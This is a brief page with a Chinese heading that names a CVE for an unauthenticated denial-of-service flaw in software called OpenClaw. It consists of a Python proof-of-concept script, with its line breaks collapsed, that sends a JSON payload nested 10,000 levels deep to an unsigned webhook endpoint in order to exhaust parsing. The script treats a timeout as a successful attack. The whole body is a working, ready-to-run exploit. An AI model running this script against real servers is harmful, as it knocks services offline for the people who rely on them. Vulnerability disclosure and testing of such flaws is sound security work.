CVE-2026-35640 OpenClaw未授权拒绝服务漏洞

import requests import json def send_malicious_webhook(url): # Craft a deeply nested JSON payload to exhaust parsing resources malicious_payload = {"data": "start"} for _ in range(10000): malicious_payload = {"nested": malicious_payload} headers = { "Content-Type": "application/json" # Signature is not required to trigger the parsing operation } try: print(f"Sending attack payload to {url}...") response = requests.post(url, data=json.dumps(malicious_payload), headers=headers, timeout=5) print(f"Server responded with status: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out - possible successful DoS trigger.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": target = "http://target-openclaw-server/webhook" send_malicious_webhook(target)